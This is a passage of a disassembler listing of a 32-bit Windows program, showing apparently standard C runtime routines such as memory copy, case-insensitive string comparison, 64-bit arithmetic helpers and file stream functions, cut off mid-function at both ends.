		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DC91C
		call	sub_422608
		mov	edx, dword_4DC91C
		pop	ecx
		mov	ecx, dword_4DC918
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DC91C
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DC918
		sub	ecx, dword_4DC91C
		mov	dword_4DC91C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DC918, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DC918, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DC91C, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DC91C
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DC91C
		mov	dword_4DC918, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 27704B0h
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2860000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB2E2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB2E0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB2DE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB2DA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB2D8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB2D0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2850000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB2D8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB2D0, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB32C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB278, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 26804D6h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		call	near ptr 2680000h
		nop
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB278, 0Dh
		mov	dword_4DB27C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
